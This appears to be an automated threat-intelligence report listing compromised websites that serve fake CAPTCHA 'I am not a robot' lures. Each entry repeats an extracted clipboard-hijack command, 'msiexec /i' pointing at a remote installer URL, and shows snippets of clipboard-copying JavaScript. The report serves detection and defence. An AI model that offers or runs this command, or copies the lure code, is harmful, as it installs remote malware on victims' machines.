Threat Intelligence Report

📅 November 30, 2025 🕒 Generated: 2025-11-30 02:51:24 🔍 Sites Analyzed: 51

⬇️ Download JSON Report 📁 View All Reports on GitHub

🌐

Total Sites Analyzed

⚠️

Malicious Sites

73.0% detection rate

💻

PowerShell Commands

📋

190

Clipboard Hijacks

📊

363

Avg Threat Score

Attack Pattern Analysis

High Risk Commands

124

Base64 Encoded

Obfuscated JS

Inline JS Redirects

External JS Chains

Redirect Follows

PowerShell Commands 9

Clipboard Hijacks 190

Base64 Encoded 124

CAPTCHA Elements 113

High Risk Commands 6

JS Redirects 10

Top Indicators/Keywords

robot (7) hidden (7) CAPTCHA Verification (5) I am not a robot (5) Robot (5) Verification (5) verification-id (5) verification (4) To better prove you are not a robot (4) Verification ID (4) verification_id (3) iex (2) exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator) (2) exec( (2) command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/"; (2)

Malicious Sites Detected

Click on a site to view detailed analysis

https://expertsbyexperience.knightcott.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://sunrise-f.co.jp

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://opnoit.prospy.com.br

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://sendmeavoucher.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://venkateshwarmines.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://00c29c34fd.nxcli.io

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://highondots.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://ir.karpirajobs.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://saikou.sbs

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://oberfohring.umzug-milbertshofen.de

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://zero-start.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://mayinhue.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://lindtmobile.co.za

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://janvilleroofing.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://autostikeri.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://adcom.co.za

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://csirtennisclub.org.za

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://clinicafisiotrat.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://sayaracentral.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

https://ithroofingremodelingllc.com

66 indicators detected

Score: 544 Clipboard Hijack Fake CAPTCHA

clipboard

captcha

base64

suspicious keywords

🔍 Suspicious Keywords 18

command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";

CAPTCHA Verification

Verification ID

verification id

Ray ID

ray id

I am not a robot

Robot

robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png

https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/

https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent

https://icons.duckduckgo.com/ip3/${encodeURIComponent

https://${host}/favicon.ico`

📋 Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance)

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...

Showing top 20 malicious sites. 17 additional sites detected.